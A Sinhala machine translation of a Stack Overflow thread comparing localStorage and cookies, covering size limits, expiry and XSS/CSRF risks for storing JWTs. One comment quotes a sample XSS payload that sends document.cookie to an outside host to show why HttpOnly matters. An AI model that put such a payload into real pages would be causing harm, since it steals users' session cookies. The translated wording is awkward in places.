දේශීය ගබඩාව එදිරිව කුකීස්


1047

මගේ වෙබ් අඩවි වල පැටවීමේ වේලාවන් අඩු කිරීමට මට අවශ්‍ය වන්නේ සියලුම කුකීස් එකම ක්‍රියාකාරීත්වයක් ඇති බැවින් ඒවා දේශීය ගබඩාවට ගෙන යාමෙනි. පැහැදිලි අනුකූලතා ගැටළු හැරුණු විට කුකී ක්‍රියාකාරිත්වය ප්‍රතිස්ථාපනය කිරීම සඳහා දේශීය ආචයනය භාවිතා කිරීමේදී වාසි / අවාසි (විශේෂයෙන් කාර්ය සාධනය අනුව) තිබේද?


109
පොසිබේ අවාසිය: ආරක්ෂිත (එස්එස්එල්) පිටුවල දේශීය ස්ටෝර්ජ් අගයන් හුදකලා වේ. එබැවින් ඔබේ වෙබ් අඩවියට http සහ https පිටු දෙකම තිබේ නම්, https පිටුවකට පිවිසෙන විට http පිටුවක ඇති අගයන්ට ප්‍රවේශ වීමට ඔබට නොහැකි වනු ඇත. Magento වෙළඳසැලක අජැක්ස් මිනි කරත්තයක් සඳහා දේශීය ගබඩාව උත්සාහ කළා. එපික් අසමත් ...

7
පුදුම හිතෙන තරම් හොඳින් සහය දක්වයි (මා බලාපොරොත්තු වූ දෙයට සාපේක්ෂව) caniuse.com/#search=localstorage
සයිමන්_වීවර්

7
සමහර පරිශීලකයින්ට ඔවුන්ගේ බ්‍රව්සර්වල නීතියක් ලෙස කුකී අක්‍රීය කර ඇත. දේශීය ගබඩා කිරීම එම පරිශීලකයින් සඳහා වඩා හොඳින් ක්‍රියා කළ හැකිය.
පරිණාමය

10
" පොසිබේ අවාසිය: ආරක්ෂිත (එස්එස්එල්) පිටුවල [දේශීය ස්ටෝරේජ්] අගයන් හුදකලා වේ " ඇත්තෙන්ම එය විශාල උඩු යටිකුරු කිරීමකි .
කුතුහලයෙන්

16
ඔබේ වෙබ් අඩවියට ඔබ එස්එස්එල් බල කළ යුත්තේ එබැවිනි ... ඔබ සතුව දැනටමත් එස්එස්එල් අනුවාදය තිබේ නම් පිටුවක අනුවාද දෙකම ඉදිරිපත් කිරීමට කිසිදු හේතුවක් මා දකින්නේ නැත.
xji

Answers:


1304

කුකීස් සහ දේශීය ගබඩා විවිධ අරමුණු සඳහා සේවය කරයි. කුකීස් මූලික වශයෙන් සේවාදායක පැත්ත කියවීම සඳහා වන අතර , දේශීය ගබඩාව කියවිය හැක්කේ සේවාදායකයාගේ පැත්තෙන් පමණි . එබැවින් ප්‍රශ්නය වන්නේ ඔබේ යෙදුමේ මෙම දත්ත අවශ්‍ය වන්නේ කාටද - සේවාදායකයා හෝ සේවාදායකයාද?

එය ඔබේ සේවාදායකයා නම් (ඔබේ ජාවාස්ක්‍රිප්ට්) නම්, සෑම ආකාරයකින්ම මාරු වන්න. සෑම HTTP ශීර්ෂයකම ඇති සියලුම දත්ත යැවීමෙන් ඔබ කලාප පළල නාස්ති කරයි.

එය ඔබගේ සේවාදායකය නම්, දේශීය ආචයනය එතරම් ප්‍රයෝජනවත් නොවන්නේ ඔබට කෙසේ හෝ දත්ත ඉදිරියට යැවිය යුතු බැවිනි (අජැක්ස් හෝ සැඟවුණු ආකෘති ක්ෂේත්‍ර හෝ වෙනත් යමක් සමඟ). එක් එක් ඉල්ලීම සඳහා සේවාදායකයට අවශ්‍ය වන්නේ සම්පූර්ණ දත්තවල කුඩා උපකොටසක් පමණි නම් මෙය හරි විය හැකිය.

ඔබට කෙසේ වෙතත් ඔබගේ සැසි කුකිය කුකියක් ලෙස තැබීමට අවශ්‍ය වනු ඇත.

තාක්ෂණික වෙනස අනුව සහ මගේ අවබෝධය අනුව:

  1. දත්ත සුරැකීමේ පැරණි ක්‍රමයක් හැරුණු විට, කුකීස් ඔබට බයිට් 4096 ක සීමාවක් ලබා දෙයි (4095, ඇත්ත වශයෙන්ම) - එය කුකියකට ය. දේශීය ආචයනය වසමකට 5MB තරම් විශාලයි - SO ප්‍රශ්නය ද එය සඳහන් කරයි.

  2. localStorageයනු Storageඅතුරු මුහුණත ක්‍රියාත්මක කිරීමකි . එය කල් ඉකුත් වීමේ දිනයක් නොමැතිව දත්ත ගබඩා කරන අතර එය නිෂ්කාශනය වන්නේ ජාවාස්ක්‍රිප්ට් හරහා හෝ බ්‍රව්සර් හැඹිලිය / දේශීයව ගබඩා කළ දත්ත ඉවත් කිරීමෙනි - කුකී කල් ඉකුත්වීම මෙන් නොව.


32
HTML5 හි සැසි විෂය පථ ගබඩාවක් ඇති අතර එය සැසි කුකීස් වෙනුවට ආදේශකයක් ලෙස භාවිතා කළ හැකිය.
පැට් නියෙමියර්

6
AtPatNiemeyer, sessionStorageබ්‍රව්සරය වැසෙන තුරු කල් ඉකුත් වූ කුකියක් ලෙස ඔබට උපකල්පනය කළ හැකිය (ටැබ් එක නොවේ). ark ඩාර්ක්පෝටර්, පිළිතුරට ස්තූතියි. කෙසේ වෙතත්, කුකීස් සහ දේශීය ආචයනය අතර තාක්ෂණික වෙනස ඇසීමට කැමතියි . ඔබගේ සංස්කරණය සඳහා බලා සිටී.
ඕම් ශංකර්

29
@OmShankar ඔබට තවමත් මෙම සැකය තිබේදැයි මට විශ්වාස නැත, නමුත් මෙහි වෙනස මෙයයි: සේවාදායකයා මත localStorage රැඳී සිටිනcookies අතර HTTP ශීර්ෂය සමඟ යවනු ලැබේ. ඔවුන් අතර ඇති විශාලතම (නමුත් එකම නොවේ) වෙනස එයයි.
ඇන්ඩ්‍රේ කැලිල්

17
ඔබේ සේවාදායක යෙදුම REST API සමඟ කතා කරන්නේ නම්, සැසි හැඳුනුම්පත ගබඩා කිරීමට සහ සම්ප්‍රේෂණය කිරීමට කුකී භාවිතා කිරීම REST හි මුග්ධ නොවේ. ඉතින්, මට නම් කුකීස් පැරණි තාක්‍ෂණය මෙන් පෙනේ, එය බොහෝ විට දේශීය ආචයනය සමඟ ප්‍රතිස්ථාපනය කළ යුතුය (+ ජාවාස්ක්‍රිප්ට් ඔබට සැසි හැඳුනුම්පත වැනි දත්ත සේවාදායකයට යැවීමට අවශ්‍ය නම්).
ටවරෝ

9
XSS ප්‍රහාරයන්ට ගොදුරු විය හැකි බැවින් දේශීය ගබඩා කිරීම කුකීස් වලට වඩා ආරක්ෂිත තේරීමක් නොවේ. පුද්ගලිකව, මම ප්‍රවේශමෙන් සැලසුම් කළ කල් ඉකුත් වීමේ යෝජනා ක්‍රමයක් සමඟ සංකේතාත්මක HTTPS කුකියක් (සමහර විට JWT හෝ JWE භාවිතා කරමින්) තෝරා ගනිමි. අනිෂ්ට තෙවන පාර්ශවයන් විසින් කුකියක් භාවිතා කිරීමේ අවස්ථාව අඩු කිරීම සඳහා කුකී මට්ටමේ කල් ඉකුත් වීමේ 'ප්‍රතිපත්තියක්' සහ සේවාදායක පාර්ශවීය කුකී 'අලුත් කිරීමේ' ක්‍රියාවලියක් ක්‍රියාත්මක කරන්න. මේ කාරණය සම්බන්ධයෙන් ස්ටෝම්පාත් විසින් ලියන ලද ලිපියක කොටස් උපුටා දක්වමින් මම පහත පිළිතුරක් ලියා ඇත්තෙමි.
XtraSimplicity

242

ජේඩබ්ලිව්ටී වල සන්දර්භය තුළ , ස්ටෝම්පාත් විසින් ඒවා ගබඩා කළ හැකි ක්‍රම සහ එක් එක් ක්‍රමයට අදාළ (අවාසි) වාසි ගෙනහැර දක්වමින් තරමක් ප්‍රයෝජනවත් ලිපියක් ලියා ඇත.

XSS සහ CSRF ප්‍රහාරයන් පිළිබඳ කෙටි දළ විශ්ලේෂණයක් ද ඔබට ඒවා සමඟ සටන් කළ හැකි ආකාරය ද එහි ඇත.

ඔවුන්ගේ ලිපිය නොබැඳි ලෙස ගෙන තිබේ නම් / ඔවුන්ගේ වෙබ් අඩවිය පහව ගියහොත් මම පහත ලිපියේ කෙටි කොටස් කිහිපයක් අමුණා ඇත.

දේශීය ගබඩාව

ගැටලු:

වෙබ් ගබඩාව (localStorage / sessionStorage) එකම වසමේ ජාවාස්ක්‍රිප්ට් හරහා ප්‍රවේශ විය හැකිය. මෙයින් අදහස් කරන්නේ ඔබේ වෙබ් අඩවියේ ධාවනය වන ඕනෑම ජාවාස්ක්‍රිප්ට් වෙබ් ගබඩාවකට ප්‍රවේශය ඇති බවත්, මේ නිසා හරස් අඩවි ස්ක්‍රිප්ටින් (එක්ස්එස්එස්) ප්‍රහාරයන්ට ගොදුරු විය හැකි බවත්ය. කෙටියෙන් කිවහොත් එක්ස්එස්එස් යනු ඔබේ පිටුවෙහි ක්‍රියාත්මක වන ජාවාස්ක්‍රිප්ට් එන්නත් කිරීමට ප්‍රහාරකයෙකුට හැකි අවදානමකි. මූලික එක්ස්එස්එස් ප්‍රහාරයන් ආකෘති ආදාන හරහා ජාවාස්ක්‍රිප්ට් එන්නත් කිරීමට උත්සාහ කරයි, එහිදී ප්‍රහාරකයා අනතුරු ඇඟවීමක් කරයි ('ඔබ හැක් කර ඇත'); එය බ්‍රව්සරය මඟින් ක්‍රියාත්මක වන්නේ දැයි බැලීමට පෝරමයකට සහ වෙනත් පරිශීලකයින්ට එය නැරඹිය හැකිය.

වැළැක්වීම:

XSS වැළැක්වීම සඳහා, පොදු ප්‍රතිචාරය වන්නේ විශ්වාස කළ නොහැකි සියලු දත්ත වලින් ගැලවී කේතනය කිරීමයි. නමුත් මෙය සම්පූර්ණ කතාවෙන් බොහෝ දුරස් ය. 2015 දී නවීන වෙබ් යෙදුම් සීඩීඑන් හෝ බාහිර යටිතල පහසුකම් මත සත්කාරක ජාවාස්ක්‍රිප්ට් භාවිතා කරයි. නවීන වෙබ් යෙදුම් වලට උසස් පෙළ පරීක්ෂණ, පුනීල / වෙළඳපල විශ්ලේෂණය සහ දැන්වීම් සඳහා තෙවන පාර්ශවීය ජාවාස්ක්‍රිප්ට් පුස්තකාල ඇතුළත් වේ. අපගේ යෙදුම් වලට වෙනත් පුද්ගලයින්ගේ කේත ආනයනය කිරීමට අපි බෝවර් වැනි පැකේජ කළමනාකරුවන් භාවිතා කරමු.

ඔබ භාවිතා කරන එක් ස්ක්‍රිප්ට් එකක් පමණක් සම්මුතියකට ලක් වුවහොත් කුමක් කළ යුතුද? අනිෂ්ට ජාවාස්ක්‍රිප්ට් පිටුවට කාවැද්දිය හැකි අතර වෙබ් ආචයනය අඩපණ වේ. මෙම වර්ගයේ එක්ස්එස්එස් ප්‍රහාරයන්ට ඔබේ වෙබ් අඩවියට පිවිසෙන සෑම දෙනාගේම වෙබ් ගබඩාව ඔවුන්ගේ අනුදැනුමකින් තොරව ලබා ගත හැකිය. බොහෝ දේ සංවිධාන සමූහයක් උපදෙස් දෙන්නේ වටිනා කිසිවක් ගබඩා නොකරන ලෙස හෝ වෙබ් ගබඩාවේ කිසිදු තොරතුරක් විශ්වාස නොකරන ලෙසයි. සැසි හඳුනාගැනීම් සහ ටෝකන මෙයට ඇතුළත් වේ.

ගබඩා කිරීමේ යාන්ත්‍රණයක් ලෙස, වෙබ් ආචයනය මාරු කිරීමේදී කිසිදු ආරක්‍ෂිත ප්‍රමිතියක් බලාත්මක නොකරයි. කවුරුහරි වෙබ් ආචයනය කියවා එය භාවිතා කරන්නේ නම් ඔවුන් සෑම විටම JWT HTTPS හරහා යවන බවත්, කිසි විටෙකත් HTTP නොවන බවත් සහතික කිරීමට ඔවුන්ගේ නිසි උත්සාහය කළ යුතුය.

කුකීස්

ගැටලු:

කුකීස්, HttpOnly කුකී ධජය සමඟ භාවිතා කරන විට, ජාවාස්ක්‍රිප්ට් හරහා ප්‍රවේශ විය නොහැකි අතර ඒවා XSS වලට ප්‍රතිශක්තී වේ. කුකිය එවනු ලබන්නේ HTTPS හරහා පමණක් බව සහතික කිරීම සඳහා ඔබට ආරක්ෂිත කුකී ධජය සැකසිය හැකිය. ටෝකන හෝ සැසි දත්ත ගබඩා කිරීම සඳහා අතීතයේ දී කුකීස් උත්තේජනය කර ඇති ප්‍රධාන හේතුවක් මෙයයි. නවීන සංවර්ධකයින් කුකීස් භාවිතා කිරීමට අදිමදි කරන්නේ සාම්ප්‍රදායිකව සේවාදායකය තුළ ගබඩා කර තැබිය යුතු නිසාය. ගබඩා යාන්ත්‍රණයක් ලෙස කුකීස් ඔබ කුකියේ JWT ගබඩා කරන්නේ නම් සේවාදායකයේ තත්වය ගබඩා කිරීම අවශ්‍ය නොවේ. මෙයට හේතුව, ඉල්ලීම ඉටු කිරීම සඳහා සේවාදායකයාට අවශ්‍ය සියල්ල JWT සංයුක්ත කිරීමයි.

කෙසේ වෙතත්, කුකීස් වෙනත් ආකාරයේ ප්‍රහාරයකට ගොදුරු වේ: හරස් අඩවි ඉල්ලීම් ව්‍යාජ (CSRF). CSRF ප්‍රහාරයක් යනු අනිෂ්ට වෙබ් අඩවියක්, විද්‍යුත් තැපෑලක් හෝ බ්ලොග් අඩවියක් භාවිතා කරන්නාගේ වෙබ් බ්‍රව්සරය පරිශීලකයා දැනට සත්‍යාපනය කර ඇති විශ්වාසදායක වෙබ් අඩවියක අනවශ්‍ය ක්‍රියාවක් කිරීමට හේතු වන විට සිදුවන ආකාරයේ ප්‍රහාරයකි. බ්‍රව්සරය කුකීස් හසුරුවන ආකාරය මෙය සූරාකෑමකි. කුකියක් යැවිය හැක්කේ එයට අවසර දී ඇති වසම් වෙත පමණි. පෙරනිමියෙන්, මුලින් කුකිය සැකසූ වසම මෙයයි. ඔබ galaxies.com හෝ hahagonnahackyou.com හි සිටීද යන්න නොසලකා කුකියක් ඉල්ලීමක් සඳහා යවනු ලැබේ.

වැළැක්වීම:

නවීන බ්රවුසරයන් සහාය SameSiteධජය අමතරව, HttpOnlyහා Secure. මෙම ධජයේ පරමාර්ථය වන්නේ හරස් අඩවි ඉල්ලීම් වලදී කුකී සම්ප්‍රේෂණය වීම වැළැක්වීම, විවිධ වර්ගයේ CSRF ප්‍රහාර වැළැක්වීමයි.

සහය නොදක්වන බ්‍රව්සර් සඳහා SameSite, සමමුහුර්ත ටෝකන රටා භාවිතා කිරීමෙන් CSRF වළක්වා ගත හැකිය. මෙය සංකීර්ණ බවක් පෙනේ, නමුත් සියලුම නවීන වෙබ් රාමු සඳහා මේ සඳහා සහාය ඇත.

උදාහරණයක් ලෙස, කුකියට ප්‍රවේශ විය හැක්කේ ඔබගේ වසමෙන් පමණක් බව තහවුරු කිරීමට AngularJS සතුව විසඳුමක් ඇත. AngularJS ලියකියවිලි වලින් කෙළින්ම:

XHR ඉල්ලීම් සිදු කරන විට, $ http සේවාව කුකියකින් ටෝකනයක් කියවන අතර (පෙරනිමියෙන්, XSRF-TOKEN) එය HTTP ශීර්ෂයක් ලෙස (X-XSRF-TOKEN) සකසයි. ඔබගේ වසමේ ක්‍රියාත්මක වන ජාවාස්ක්‍රිප්ට් වලට පමණක් කුකිය කියවිය හැකි බැවින්, XHR පැමිණියේ ඔබේ වසමේ ක්‍රියාත්මක වන ජාවාස්ක්‍රිප්ට් වලින් බව ඔබේ සේවාදායකයාට සහතික විය හැකිය. xsrfTokenJWT හිමිකම් පෑමක් ඇතුළත් කිරීමෙන් ඔබට මෙම CSRF ආරක්ෂාව අස්ථායි කළ හැකිය :

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

ඔබගේ වෙබ් යෙදුම් රාමුවේ CSRF ආරක්ෂාව උත්තේජනය කිරීමෙන් JWT ගබඩා කිරීම සඳහා කුකීස් ශක්තිමත් වේ. ඔබේ API වෙතින් HTTP Referrer සහ Origin header පරීක්ෂා කිරීමෙන් CSRF අර්ධ වශයෙන් වළක්වා ගත හැකිය. CSRF ප්‍රහාරයන්ට ඔබගේ යෙදුමට සම්බන්ධ නොවන යොමු සහ සම්භවයක් ඇති ශීර්ෂයන් ඇත.

සම්පූර්ණ ලිපිය මෙතැනින් සොයාගත හැකිය: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

ටෝකනයේ ව්‍යුහය සම්බන්ධයෙන් JWT වඩාත් හොඳින් සැලසුම් කර ක්‍රියාත්මක කරන්නේ කෙසේද යන්න පිළිබඳ ප්‍රයෝජනවත් ලිපියක් ඔවුන් සතුව ඇත: https://stormpath.com/blog/jwt-the-right-way/


6
විශිෂ්ට කරුණ. පුදුමයට කරුණක් නම්, දේශීය ගබඩාවේ ආරක්‍ෂිත ඇඟවුම් (හෝ XSS සඳහා එහි lack නතාව) මෙතරම් හොඳින් කියවන ලද ප්‍රශ්නයකට පෙර සඳහන් කර නැත - IMHO වැරදියට යෝජනා කරන එක් පිළිතුරක් හැර එය වඩා ආරක්ෂිතයි!
බැරී පොලාර්ඩ්

27
අවංක වීම සඳහා සමස්ත ආරක්ෂක කතාව මඳක් අවධානය වෙනතකට යොමු කරන බව මට පෙනේ. ඔව්, localStorageපිටුවේ ඇති වෙනත් ස්ක්‍රිප්ට් වලට ප්‍රවේශ විය හැකිය ... නමුත් XMLHttpRequestඑසේය ... ඔව් ඔව් HttpOnly ධජය කුකිය සොරකම් කිරීමෙන් ආරක්ෂා කරයි, නමුත් බ්‍රව්සරය තවමත් එය ගැලපෙන වසමට ස්වයංක්‍රීයව යවයි ... මූලික වශයෙන් ඔබට අනිෂ්ට ස්ක්‍රිප්ට් ඇති විට ඔබගේ පිටුවේ ධාවනය වන ඔබ දැනටමත් හැක් කර ඇත.
ස්ටිජන් ඩි විට්

3
TiStijndeWitt ආරක්ෂාවෙහි සෑම ස්ථරයකටම තමන්ගේම බලය හා දුර්වලතාවයක් ඇත. එබැවින් සාමාන්‍යයෙන් බහු ආරක්ෂණ ස්ථර තිබීම වඩා හොඳය. ඔබට උදාහරණයක් දීමට: HttpOnly වැනි අජැක්ස් නොවන ප්‍රහාර ද වළක්වයි window.location = 'http://google.com?q=' + escape(document.cookie);. මෙම ප්‍රහාරය බ්‍රව්සර් CORS පරීක්ෂාව මග හැරේ.
මෙමෙට් ඔල්සන්

වෙළඳ දැන්වීම් වැනි සමහර දේවල් සඳහා ඔබ සම්පුර්ණයෙන්ම විශ්වාසදායක සැපයුම්කරුවන්ට වඩා අඩුවෙන් සිටින බව උපකල්පනය කරන්න ... ඔබේ දැන්වීම් ඔබගේ විශ්වාසදායක අන්තර්ගතයට සමාන වසමකින් පවා සේවය කරන්නේ ඇයි? දැන්වීම් වෙබ් පිටුව තුළ ප්‍රදර්ශනය කළ යුතුය, සාමාන්‍යයෙන් පිටුව තුළ JS ධාවනය කිරීමට අවශ්‍ය නොවේ. එම තෙවන පාර්ශවීය අන්තර්ගතයන් සඳහා එතරම් ඒකාබද්ධ කිරීමක් සඳහා කැඳවනු නොලැබේ.
කුතුහලයෙන්

කුකියක සීඑස්ආර්එෆ් ටෝකනයක් (එය ජාවාස්ක්‍රිප්ට් හරහා කියවා ශීර්ෂයක් හරහා යැවිය හැකි වන පරිදි අර්ථ දැක්වීම අනුව පමණක් http විය යුතු නොවේ) ආරක්‍ෂාව අනුව ඕනෑම දෙයකට උදව් කරන්නේ ඇයි? මගේ වෙබ් අඩවිය xss වලට ගොදුරු විය හැකි නම්, කුකිය දේශීය / සැසි ගබඩාව තරම් පහසුවෙන් කියවිය හැකිය.
ජුවාංගම්නික්

101

සමඟ localStorage, වෙබ් යෙදුම් වලට පරිශීලකයාගේ බ්‍රව්සරය තුළ දත්ත දේශීයව ගබඩා කළ හැකිය. HTML5 ට පෙර, යෙදුම් දත්ත සෑම සේවාදායක ඉල්ලීමකටම ඇතුළත් කුකීස් තුළ ගබඩා කළ යුතුව තිබුණි. වෙබ් අඩවි ක්‍රියාකාරිත්වයට කිසිදු බලපෑමක් නොකර විශාල දත්ත ප්‍රමාණයක් දේශීයව ගබඩා කළ හැකිය. localStorageවඩා නවීන වුවත් , මෙම ක්‍රම දෙකටම වාසි සහ අවාසි ඇත.

කුකීස්

වාසි

  • උරුමය සහාය (එය සදහටම පවතී)
  • නිරන්තර දත්ත
  • කල් ඉකුත් වීමේ දිනයන්

අවාසි

  • සෑම ඩොමේනයක්ම සියළුම කුකීස් එක නූලකින් ගබඩා කරයි, එමඟින් දත්ත විග්‍රහ කිරීම අපහසු වේ
  • දත්ත සංකේතාංකනය කර නොමැති අතර එය ගැටළුවක් බවට පත්වේ ... ... ප්‍රමාණයෙන් කුඩා වුවද සෑම HTTP ඉල්ලීමක් සමඟම කුකීස් යවනු ලැබේ සීමිත ප්‍රමාණය (4KB)
  • SQL එන්නත් කිරීම කුකියකින් කළ හැකිය

දේශීය ගබඩා කිරීම

වාසි

  • බොහෝ නවීන බ්‍රව්සර්වල සහාය
  • බ්‍රව්සරයේ කෙලින්ම ගබඩා කර ඇති නිරන්තර දත්ත
  • දේශීය ගබඩා දත්ත සඳහා එකම ප්‍රභව නීති අදාළ වේ
  • සෑම HTTP ඉල්ලීමක් සමඟම යවනු නොලැබේ
  • Domain වසමකට 5MB ආචයනය (එය 5120KB)

අවාසි

  • මීට පෙර කිසිම දෙයකින් සහය නොදක්වයි: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • සේවාදායකයාට ගබඩා කළ සේවාදායක තොරතුරු අවශ්‍ය නම් ඔබ එය යැවිය යුතුය.

localStorageභාවිතය සැසිය සමඟ බොහෝ දුරට සමාන වේ. ඔවුන් සතුව ඉතා නිවැරදි ක්‍රමවේදයන් ඇත, එබැවින් සැසිවාරයට මාරුවීම localStorageසැබවින්ම ළමා ක්‍රීඩාවකි. කෙසේ වෙතත්, ගබඩා කර ඇති දත්ත ඔබගේ යෙදුම සඳහා ඉතා වැදගත් නම්, බොහෝ විට ඔබ කුකීස් උපස්ථයක් ලෙස භාවිතා localStorageනොකරනු ඇත. ඔබට බ්‍රව්සරයේ සහාය පරීක්ෂා කිරීමට අවශ්‍ය නම් localStorage, ඔබ කළ යුත්තේ මෙම සරල ස්ක්‍රිප්ට් ධාවනය කිරීම පමණි:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

“ආරක්‍ෂිත (එස්එස්එල්) පිටුවල ඇති දේශීය ස්ථානීය අගයන් හුදකලා වී ඇත” යමෙකු මතක තබා ගත් පරිදි ඔබ 'http' සිට 'https' ආරක්ෂිත ප්‍රොටෝකෝලය වෙත මාරු වුවහොත් දේශීය කුටිය ලබා ගත නොහැකි වනු ඇත. ඔබ ආරක්ෂිත ප්‍රොටෝකෝල සමඟ වැඩ කරන්නේ නම් දැනුවත්ව සිටීම වැදගත් වේ.


1
ඔබ කරන චෙක්පත ඉතා විශ්වාසදායක නොවේ. ගබඩා වස්තුව ඇති බ්‍රව්සර් සහ මාතයන් (පුද්ගලික) ඇත, නමුත් ඒ මත අගයන් සැකසීමට අසමත් වේ. සත්‍ය සහය පරීක්ෂා කිරීමට ඇති එකම ක්‍රමය එය මත කට්ටලයක් ඉවත් කිරීමට උත්සාහ කිරීමයි.
ජාවාස්ක්‍රිප්ට්

ගත් කාරණය, ජෝ පිළිතුර සම්බන්ධයෙන් මගේ පිළිතුර යාවත්කාලීන කර ඇත: stackoverflow.com/questions/16427636/…
DevWL

11
'SQL එන්නත් කිරීම සිදු කළ හැකිය' කුකියේ ප්‍රතිවිරෝධතාවක් ලෙස ලැයිස්තුගත කර ඇති බැවින්, ඔබ කියන්නේ එය දේශීය ගබඩාවෙන් කළ නොහැකි බවයි?
මාටින් ෂ්නයිඩර්

කුකීස් සඳහා තවත් ගැති. කුකීස් HTTPOnly ලෙස සලකුණු කළ හැකිය. මෙයින් අදහස් කරන්නේ ඒවා ජාවාස්ක්‍රිප්ට් වෙතින් ප්‍රවේශ කළ නොහැකි බවයි, එයින් අදහස් කරන්නේ කිසිදු අනිෂ්ට XSS ප්‍රහාරයකට කුකී අන්තර්ගතය ලබා ගත නොහැකි බවයි. මේ නිසා, කුකීස් වලට වඩා දේශීය ගබඩාව වඩා ආරක්ෂිත යැයි මම නොකියමි.
wp-overwatch.com

M මිස්ටර් එක්ස්එස්එස් ප්‍රහාරයන්ට එච්ටීටීපී පමණක් කුකියක් කියවිය නොහැකි වුවද, බ්‍රවුසර සැසියෙන් පමණක් සීමා වූ (අර්ථ දැක්වීම අනුව) පරිශීලකයාට කළ හැකි ඕනෑම HTTP ඉල්ලීමක් ප්‍රහාරකයාට තවමත් කළ හැකිය . සැසි කුකිය පාරාන්ධ අනන්‍යතාවයක් යැයි උපකල්පනය කිරීම, සෑම සැසි කුකියක්ම පාහේ මෙන්, කුකී අගය කියවීම ප්‍රයෝජනවත් වන්නේ එය ඇතුළුව HTTP ඉල්ලීමක් ඉටු කිරීමට පමණි: ඔබ කුකී වටිනාකමෙන් කිසිවක් ඉගෙන ගන්නේ නැත. (XSS ප්රහාර නිසා මේ තරගය, බ්රව්සරය සිට HTTP ඉල්ලීම් ඉටු සටහන, සැසිය කුකීස් ටික යම් මූලාශ්රයක් IP ලිපිනය, පරිශීලක-නියෝජිතයා ශීර්ෂ, හෝ වෙනත් වෙබ් බ්රව්සරය ලක්ෂණ සම්බන්ධ කළ හැක.)
curiousguy

10

කුකීස් :

  1. HTML5 ට පෙර හඳුන්වා දෙන ලදි.
  2. කල් ඉකුත් වීමේ දිනය ඇත.
  3. JS මගින් හෝ බ්‍රවුසරයේ දත්ත පිරික්සීමෙන් හෝ කල් ඉකුත් වූ දිනට පසුව ඉවත් කරන්න.
  4. සෑම ඉල්ලීමකටම සේවාදායකයට යවනු ලැබේ.
  5. ධාරිතාව 4KB වේ.
  6. කුකීස් තුළ ගබඩා කළ හැක්කේ නූල් පමණි.
  7. කුකීස් වර්ග දෙකක් තිබේ: අඛණ්ඩ සහ සැසිය.

දේශීය ආචයනය:

  1. HTML5 සමඟ හඳුන්වා දී ඇත.
  2. කල් ඉකුත් වීමේ දිනයක් නොමැත.
  3. JS මගින් හෝ බ්‍රව්සරයේ දත්ත පිරික්සීමෙන් ඉවත් කරන්න.
  4. දත්ත සේවාදායකයට යැවිය යුතු විට ඔබට තෝරා ගත හැකිය.
  5. ධාරිතාව 5MB වේ.
  6. දත්ත දින නියමයක් නොමැතිව ගබඩා කර ඇති අතර එය නූලක් විය යුතුය.
  7. ඇත්තේ එක් වර්ගයක් පමණි.

6. localStorage ගබඩා නූල්, සැලකෙතත් වස්තූන් සහ පමණක් ගබඩා පෙර නූල් බවට පරිවර්තනය කළ යුතුය හැකි, 7. sessionStorage ද ලබා ගත හැකි අතර එය දිගටම නැත හැර localStorage සමාන වේ
රොබී Milejczak

ඔබට ගබඩා කළ හැක්කේ කූරු ගබඩා කිරීම පමණි
TheMisir

9

හොඳයි, දේශීය ගබඩා වේගය සේවාදායකයා භාවිතා කරන බ්‍රව්සරය මෙන්ම මෙහෙයුම් පද්ධතිය මත බෙහෙවින් රඳා පවතී. මැක්හි ඇති ක්‍රෝම් හෝ සෆාරි පරිගණකයේ ෆයර්ෆොක්ස් වලට වඩා වේගවත් විය හැකිය, විශේෂයෙන් නව API සමඟ. සෑම විටම මෙන්, පරීක්ෂා කිරීම ඔබේ මිතුරා වේ (මට කිසිදු මිණුම් දණ්ඩක් සොයාගත නොහැකි විය).

දේශීය ගබඩාවට එදිරිව කුකී වල විශාල වෙනසක් මට නොපෙනේ. එසේම, අනුකූලතා ගැටළු පිළිබඳව ඔබ වඩාත් කනස්සල්ලට පත්විය යුතුය: සියලුම බ්‍රව්සර් නව HTML5 API සඳහා සහය දැක්වීමට පවා පටන් ගෙන නැත, එබැවින් කුකීස් වේගය සහ අනුකූලතාව සඳහා ඔබේ හොඳම ඔට්ටුව වනු ඇත.


2
එය අභ්‍යන්තර ව්‍යාපෘතියක් පමණි, එබැවින් හරස් බ්‍රව්සර්-අනුකූලතාව වැනි දෑ ඇත්ත වශයෙන්ම අවශ්‍ය නොවේ. කුකීස් සෑම HTTPRequest එකකින්ම යවන නිසා (මගේ යෙදුමට ඉල්ලීම් 77 ක් ඇත) එයින් අදහස් වන්නේ k 500kB අමතර පොදු කාර්යයකි. පැහැදිලි විසඳුම සීඩීඑන් එකක් බව මම දනිමි, නමුත් සේවාදායකය මත රඳා නොපවතින දෙයක් උත්සාහ කිරීමට මට අවශ්‍යය. මට කිසිදු මිණුම් දණ්ඩක් සොයාගත නොහැකි වූ අතර මෙහි සිටි අයෙකු දැන ගනු ඇතැයි මම බලාපොරොත්තු වෙමි.
ජියෝ බෝර්ජ්

15
මැක් මත ක්‍රෝම් හෝ සෆාරි වේගවත් වන්නේ ඇයි? ඔබ මැක්, ලිනක්ස් හෝ වින්ඩෝස් වල වේවා එකම බ්‍රව්සර් කේතය ක්‍රියාත්මක වේ.
මාර්ක් කේ කෝවන්

9

localStorageජංගම සෆාරි හි සමහර අනුවාද වල පරිශීලකයින් "පුද්ගලික" මාදිලියේ සැරිසරන විට භාවිතා කළ නොහැකි බව සඳහන් කිරීම වටී .

MDN වෙතින් උපුටා දක්වා ඇත ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):

